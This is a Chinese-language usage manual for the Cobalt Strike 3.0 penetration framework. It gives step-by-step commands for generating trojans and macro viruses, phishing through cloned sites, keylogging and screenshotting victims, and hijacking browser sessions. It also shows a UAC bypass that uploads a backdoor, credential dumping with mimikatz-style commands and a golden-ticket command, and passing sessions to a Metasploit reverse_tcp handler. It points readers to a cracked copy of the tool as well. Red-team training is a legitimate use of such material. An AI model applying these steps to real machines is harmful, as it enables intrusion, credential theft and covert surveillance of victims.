Cobalt strike3.0使用手冊

Cobalt strike3.0使用手冊

0x00 簡介


Cobalt Strike 一款以metasploit為基礎的GUI的框架式滲透工具,集成了端口轉發、服務掃描,自動化溢出,多模式端口監聽,win exe木馬生成,win dll木馬生成,java木馬生成,office宏病毒生成,木馬捆綁;釣魚攻擊包括:站點克隆,目標信息獲取,java執行,瀏覽器自動攻擊等等。而Cobalt Strike 3.0已經不再使用Metasploit框架而作為一個獨立的平臺使用,當然可以結合Armitage進行使用。這裡有一個破解版:

下載地址:戳我(自行驗證其安全性)

Cobalt Strike 3.0 延用了其強大的團體服務器功能,能讓多個攻擊者同時連接到團體服務器上,共享攻擊資源與目標信息和sessions。當然,在使用Cobalt Strike之前,需要安裝java環境,具體怎麼配置,請移步[java language="環境搭建"][/java]/java3。

0x01 運行


與之前版本的 Cobalt Strike不同, Cobalt Strike3.0需要開啟團體服務器才可以鏈接使用,當然,這個服務器可以放到公網環境下,或者放到自己想要搭建此服務的環境中。 下載好Cobalt Strike以後包含以下幾個文件:

Cobalt strike3.0使用手冊

其中關鍵的文件是teamserver以及cobaltstrike.jar,將這兩個文件放到服務器上同一個目錄,然後運行:

☁ cobaltstrike sudo ./teamserver 192.168.74.1 msf3
Cobalt strike3.0使用手冊

這裡為了方便使用,最好使用具體的ip地址,而不是0.0.0.0或者127.0.0.1, 如果有多個網卡,使用你要用的那個ip地址即可,msf3 為該團體服務器的連接密碼。

服務運行以後,在客戶端進行連接:

☁ cobaltstrike java -XX:+AggressiveHeap -XX:+UseParallelGC -jar cobaltstrike.jar $*
Cobalt strike3.0使用手冊

這裡ip使用服務器的ip,端口默認50050,用戶名隨意,密碼為之前設置的密碼,然後connect,彈出驗證窗口,然後點是,就進入Cobalt Strike了。

Cobalt strike3.0使用手冊

0x02 Listeners


使用Cobalt Strike首先需要創建一個Listener,依次點擊 Cobalt Strike->Listeners ,然後點擊Add便可以創建自己想要的Listeners了,Cobalt Strike3.0包括

  • windows/beacon_dns/reverse_dns_txt
  • windows/beacon_dns/reverse_http
  • windows/beacon_http/reverse_http
  • windows/beacon_https/reverse_https
  • windows/beacon_smb/bind_pipe
  • windows/foreign/reverse_dns_txt
  • windows/foreign/reverse_http
  • windows/foreign/reverse_https
  • windows/foreign/reverse_tcp

其中windows/beacon* 是Cobalt Strike自帶的模塊,包括dns,http,https,smb四種方式的監聽器,windows/foreign* 為外部監聽器,即msf或者Armitage的監聽器。 選擇監聽器以後,host會自動填寫我們開啟服務時的ip,配置監聽端口,然後保存,監聽器就創建好了。

0x03 Attacks


創建好監聽器,下面就需要配置客戶端了,Cobalt Strike包括多種攻擊方式,其中Packages包括如下幾種:

Cobalt strike3.0使用手冊

HTML Application 生成惡意的HTA木馬文件; MS Office Macro 生成office宏病毒文件; Payload Generator 生成各種語言版本的payload; USB/CD AutoPlay 生成利用自動播放運行的木馬文件; Windows Dropper 捆綁器,能夠對文檔類進行捆綁;Windows Executable 生成可執行exe木馬; Windows Executable(S)生成無狀態的可執行exe木馬。

Web Drive-by(釣魚攻擊)包括如下幾個模塊:

Cobalt strike3.0使用手冊

Manage對開啟的web服務進行管理; Clone Site 克隆網站,可以記錄受害者提交的數據; Host File 提供一個文件下載,可以修改Mime信息; PowerShell Web Delivery類似於msf 的web_delivery ; Signed Applet Attack 使用java自簽名的程序進行釣魚攻擊; Smart Applet Attack 自動檢測java版本並進行攻擊,針對Java 1.6.0_45以下以及Java 1.7.0_21以下版本; System Profiler用來獲取一些系統信息,比如系統版本,Flash版本,瀏覽器版本等。

Spear Phish 是用來郵件釣魚的模塊。

0x04 View


Cobalt strike3.0使用手冊

View模塊可以方便測試者查看各個模塊,圖形化的界面可以方便的看到受害者機器的各個信息。

Applications顯示受害者機器的應用信息; Credentials顯示受害者機器的憑證信息,能更方便的進行後續滲透; Downloads 文件下載; Event Log可以看到事件日誌,清楚的看到系統的事件,並且團隊可以在這裡聊天; Keystrokes查看鍵盤記錄; Proxy Pivots查看代理信息; Screenshots查看屏幕截圖; Script Console在這裡可以加載各種腳本以增強功能,腳本地址戳我;Targets查看目標; Web Log查看web日誌。

還有Reporting的功能就不介紹了,主要就是出報告用的。

0x05 Beacon


Beacon可以選擇通過DNS還是HTTP協議出口網絡,你甚至可以在使用Beacon通訊過程中切換HTTP和DNS。其支持多主機連接,部署好Beacon後提交一個要連回的域名或主機的列表,Beacon將通過這些主機輪詢。目標網絡的防護團隊必須攔截所有的列表中的主機才可中斷和其網絡的通訊。 通過種種方式獲取shell以後(比如直接運行生成的exe),就可以使用beacon了,右擊電腦,Interact,則可打開Beacon Console;

Cobalt strike3.0使用手冊

在beacon處輸入help,則可以看到詳細說明:

beacon> help 
Beacon Commands
===============
Command Description
------- -----------
browserpivot Setup a browser pivot session
bypassuac Spawn a session in a high integrity process
cancel Cancel a download that's in-progress
cd Change directory
checkin Call home and post data
clear Clear beacon queue
covertvpn Deploy Covert VPN client
desktop View and interact with target's desktop
dllinject Inject a Reflective DLL into a process
download Download a file
downloads Lists file downloads in progress
drives List drives on target
elevate Try to elevate privileges
execute Execute a program on target
exit Terminate the beacon session
getsystem Attempt to get SYSTEM
getuid Get User ID
hashdump Dump password hashes
help Help menu
inject Spawn a session in a specific process
jobkill Kill a long-running post-exploitation task
jobs List long-running post-exploitation tasks
kerberos_ccache_use Apply kerberos ticket from cache to this session
kerberos_ticket_purge Purge kerberos tickets from this session
kerberos_ticket_use Apply kerberos ticket to this session
keylogger Inject a keystroke logger into a process
kill Kill a process
link Connect to a Beacon peer over SMB
logonpasswords Dump credentials and hashes with mimikatz
ls List files
make_token Create a token to pass credentials
mimikatz Runs a mimikatz command
mkdir Make a directory
mode dns Use DNS A as data channel (DNS beacon only)
mode dns-txt Use DNS TXT as data channel (DNS beacon only)
mode http Use HTTP as data channel
mode smb Use SMB peer-to-peer communication
net Network and host enumeration tool
note Assign a note to this Beacon
portscan Scan a network for open services

powershell Execute a command via powershell
powershell-import Import a powershell/> ps Show process list
psexec Use a service to spawn a session on a host
psexec_psh Use PowerShell to spawn a session on a host
pth Pass-the-hash using Mimikatz
pwd Print current directory
rev2self Revert to original token
rm Remove a file or folder
rportfwd Setup a reverse port forward
runas Execute a program as another user
screenshot Take a screenshot
shell Execute a command via cmd.exe
sleep Set beacon sleep time
socks Start SOCKS4a server to relay traffic
socks stop Stop SOCKS4a server
spawn Spawn a session
spawnas Spawn a session as another user
spawnto Set executable to spawn processes into
steal_token Steal access token from a process
timestomp Apply timestamps from one file to another
unlink Disconnect from parent Beacon
upload Upload a file
wdigest Dump plaintext credentials with mimikatz
winrm Use WinRM to spawn a session on a host
wmi Use WMI to spawn a session on a host

對於某個模塊的使用方式可以直接使用help查看,如:

beacon> help browserpivot
Use: browserpivot [pid] [x86|x64]
browserpivot [stop]
Setup a Browser Pivot into the specified process. To hijack authenticated
web sessions, make sure the process is an Internet Explorer tab. These
processes have iexplore.exe as their parent process.
Use "browserpivot stop" to tear down the browser pivoting sessions
associated with this Beacon.

下面主要介紹幾個好玩兒的功能。這裡為了能快速顯示結果,可以設置

beacon>sleep 0

0x051 Browserpivot

用戶注入受害者瀏覽器進程,然後開啟HTTP代理,之後就可以登錄受害者登錄的網站了。 使用方式,ps找到瀏覽器進程:

Cobalt strike3.0使用手冊

注入進程:

beacon> browserpivot 3452 x64
Cobalt strike3.0使用手冊

設置本地瀏覽器代理:

Cobalt strike3.0使用手冊

當受害者登錄某網站賬號以後,通過代理,本機瀏覽器同樣登錄該網站:

Cobalt strike3.0使用手冊

當然當被攻擊者關閉瀏覽器的時候,代理也就失效了,關閉此代理可使用如下命令:

browserpivot stop

0x052 Socks

可以直接開啟socks4a代理,可以通過代理進行內網滲透測試。 開啟socks

beacon>socks 9999

這裡可以選擇其中一臺,右鍵Pivoting->SOCKS Server,則使用此臺計算機開啟socks代理。

配置proxychains.conf,添加

socks4 127.0.0.1 9999

然後就可以通過proxychains 使用各種工具做內網滲透了。 或者直接開啟隧道使用msf,依次點擊View->Proxy Pivots,選擇Socks4a Proxy,點擊Tunnel:

Cobalt strike3.0使用手冊

複製以後,在msf中執行,則可以開啟代理:

Cobalt strike3.0使用手冊

關閉socks

beacon>socks stop

0x053 Screenshot&Keylogger

這裡的screenshot可以截取受害者一定時間的屏幕截圖,操作命令為:

beacon>screenshot [pid]  
[run time in seconds]

或者

beacon>screenshot

然後打開View->Screenshots,則可以看到屏幕截圖:

Cobalt strike3.0使用手冊

鍵盤記錄器的使用方式為:

Use: keylogger [pid] 

然後打開View->Keystrokes,則可以看到鍵盤記錄結果:

Cobalt strike3.0使用手冊

如果不想使用命令行,可以直接選擇受害者計算機(可多選),右鍵->Explore->Process List:

Cobalt strike3.0使用手冊

0x054 powershell-import

這個功能在後滲透測試中很有用,可以導入各種powershell滲透框架,比如nishang的powerpreter,直接執行:

beacon> powershell-import

然後在文件瀏覽器裡面選擇 Powerpreter.psm1:

Cobalt strike3.0使用手冊

或者直接執行:

powershell-import [/path/to/local/script.ps1] 

進行導入,之後就可以使用powerpreter的各種模塊了。 要執行某模塊直接使用如下命令,比如:

beacon> powershell Check-VM
Cobalt strike3.0使用手冊

關於powerpreter之前在zone有簡單的介紹,powershell後滲透框架 powerpreter。

0x055 kerberos相關

這裡一共有三個模塊,分別是:

  • kerberos_ccache_use :從ccache文件中導入票據
  • kerberos_ticket_purge :清除當前會話的票據
  • kerberos_ticket_use:從ticket文件中導入票據

獲取黃金票據的方式比如使用mimikatz:

kerberos::golden /admin:USER /domain:DOMAIN /sid:SID /krbtgt:HASH /ticket:FILE

烏雲關於kerberos也有相關文章,有興趣的可以看一下:

  • 內網滲透中的mimikatz
  • 域滲透的金之鑰匙

據說這個在域滲透中很有用喲~

0x056 BypassUAC

什麼,你不能讀密碼?試試bypassuac吧~ 直接執行

beacon> bypassuac

下面你就可以執行那些需要最高權限的操作了。 這一塊在測試Win10的時候並沒有成功,關於Win10的bypassuac我在博客裡面也有相關介紹,詳情:戳我呀 在這裡就演示使用bypassuac的powershell腳本來獲取Win10最高權限,由於nishang的powershell腳本現在並不支持Win10,所以這裡使用了一個我修改的powershell腳本 invoke-BypassUAC.ps1 生成一個beacon後門:

Cobalt strike3.0使用手冊

上傳後門:

beacon> cd E:
beacon> upload /Users/evi1cg/Desktop/test.exe

加載powershell執行後門:

beacon> powershell-import /Users/evi1cg/Pentest/Powershell/MyShell/invoke-BypassUAC.ps1
beacon> powershell Invoke-BypassUAC -Command 'E:test.exe'

然後他就破了:

Cobalt strike3.0使用手冊

使用那個破了的電腦的beacon讀取密碼:

beacon> sleep 0
beacon> wdigest
Cobalt strike3.0使用手冊

beacon> hashdump
Cobalt strike3.0使用手冊

0x06 與msf聯動


cobalt strike3.0 不再使用Metasploit框架而作為一個獨立的平臺使用,那麼怎麼通過cobalt strike獲取到meterpreter呢,別擔心,可以做到的。 首先我們使用msf的reverse_tcp開啟監聽模式:

msf > use exploit/multi/handler 
msf exploit(handler) > set payload windows/meterpreter
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(handler) > set lhost 192.168.74.1
lhost => 192.168.74.1
msf exploit(handler) > set lport 5555
lport => 5555
msf exploit(handler) > exploit -j

之後使用Cobalt Strike創建一個windows/foreign/reverse_tcp Listener:

Cobalt strike3.0使用手冊

其中ip為msf的ip地址,端口為msf所監聽的端口。 然後選中計算機,右鍵->Spawn:

Cobalt strike3.0使用手冊

選擇剛剛創建的監聽器:

Cobalt strike3.0使用手冊

可以看到成功獲取了meterpreter回話:

Cobalt strike3.0使用手冊

0x07 小結


此次測試使用windows/beacon_http/reverse_http來進行,具體DNS的監聽器請參考luom所寫Cobalt Strike 之團隊服務器的搭建與DNS通訊演示,本篇文章只是介紹了Cobalt Strike的部分功能,如有錯誤,請各位大牛指正,關於Cobalt Strike其他的功能小夥伴們可以自己研究,如果可能的話,我也會對其進行補充。希望對各位小夥伴有用

本文作者:Drops,轉載自:http://www.mottoin.com/detail/2862.html


分享到:


相關文章: